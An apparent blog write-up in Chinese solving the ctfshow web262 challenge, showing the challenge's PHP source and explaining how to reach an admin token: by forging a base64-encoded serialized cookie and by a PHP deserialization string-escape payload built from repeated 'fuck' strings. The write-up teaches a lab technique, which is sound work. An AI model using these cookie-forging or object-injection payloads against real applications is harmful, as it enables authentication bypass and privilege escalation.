ctfshow-web262

(也是一篇非纯正题解,记录的是个人的一些思路和想法【虽然也没啥想法】)

一:初步尝试

进去之后看到的是这些东西:

php 复制代码
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

这里可以看到有一个是str replace,是将fuck改为loveU,然后写在msg里面,后面又把这个设为一个cookie并进行base64编码,其实我刚开始的时候也是很懵的,这个序列化的msg好像没什么用,然后在想会不会有什么其他的东西,于是dirsearch扫了一下,发现了这么一个:

(虽然一般这种都是纯坑人的,但还是点进去看了一下,然后确实什么都没有)

然后再回到代码里去看,细心的话可以看到注释部分多了一个message.php【我从来都没关注过这个】,然后去访问了一下message.php是这样的:

php 复制代码
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

这个满足 $msg->token=='admin' 即可,vscode里跑一下:

php 复制代码
<?php 
    class message{
        public $token='admin';
    }
    $a= new message();
    echo base64_encode(serialize($a));

结果如下,再放到cookie里面就行了:

php 复制代码
Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

然后这里有一个问题就是为什么我用dirsearch扫不出来message.php, 这个我觉得可能是diresarch的字典里面本身没有message.php,我加了个-u php之后只显示了**flag.php,**所以真要扫还得增加字典,但是不知道为什么我加了字典还是扫不出来,望知道的师傅能解答。

二:真实方法

这里用的方法是字符串逃逸问题:

最关键的部分是这里: umsg = str_replace('fuck', 'loveU', serialize(msg));

这里就是如果msg里面有fuck,那么就会将其替换为loveU,这样就会多出来一个字符,如果假设我们传入的t是fuck,那么后面就会替换成loveU:

php 复制代码
fuck";s:5:"token";s:5:"admin";}

loveU";s:5:"token";s:5:"admin";}

而php的读取逻辑是:

php 复制代码
s:4:"loveU";
     ↑↑↑↑
     只读 4 个字符

那么最后面会多出来U", 最关键的来了,它会被当成"新的 PHP 语法结构"继续解析!

对象反序列化时,同名属性,后出现的覆盖前面的

原来 tokenuser,因为字符串替换导致长度不匹配,多出来的内容被当成"新的反序列化结构",而这个结构里我们伪造了一个 token = admin,反序列化时"后面的同名属性覆盖前面的",所以最终 token 变成了 admin

然后就是要对齐结构 ,一次 fuck → loveU 只多 1 个字节,不够我们完整地插**token";s:5:"admin"** 这种结构,所以必须用多个 fuck 来"攒长度"。然后就是看字符串的长度了,这里同样也有一个十分重要的点:

php 复制代码
";s:5:"token";s:5:"admin";}  //这个最前面的 " 是必须的

一共27,是 "刚好完整逃逸 + 正确闭合结构", 因此我们最终的payload为**:**

php 复制代码
?f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后再访问message.php即可得到flag:

最后的最后可能有人会问为什么是放在t里面可不可以是m或者f那边,在这里面是绝对不能的,因为PHP 反序列化是顺序解析 的,我们在哪个字段制造"长度逃逸",就会污染它后面的所有结构。而t是离token最近、又不会污染其他字段的最佳逃逸点。

三:总结

这是一道典型的PHP serialize + str_replace = 属性注入 ,通过这道题,我们了解了什么是字符串逃逸,以及如何选择和构造字符串逃逸如果这里不能偷鸡 即一定要进行字符串逃逸话的题目要加上相应限制如**不能直接控制 cookie【**cookie 是程序生成的】token是protected/private或者有wakeup()检查

又是受益匪浅的一天~

相关推荐
两个人的幸福9 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
BingoGo11 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack11 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户30745969820712 天前
PHP 扩展——从入门到理解
php
鹏仔先生13 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
云水一下13 天前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php
treesforest13 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
xingpanvip13 天前
星盘接口开发文档:本命盘接口指南
android·开发语言·css·php·lua
上海云盾第一敬业销售13 天前
深入解析WAF的工作原理与机制
web安全·ddos
憧憬成为web高手13 天前
l33t-hoster
学习·web安全·网络安全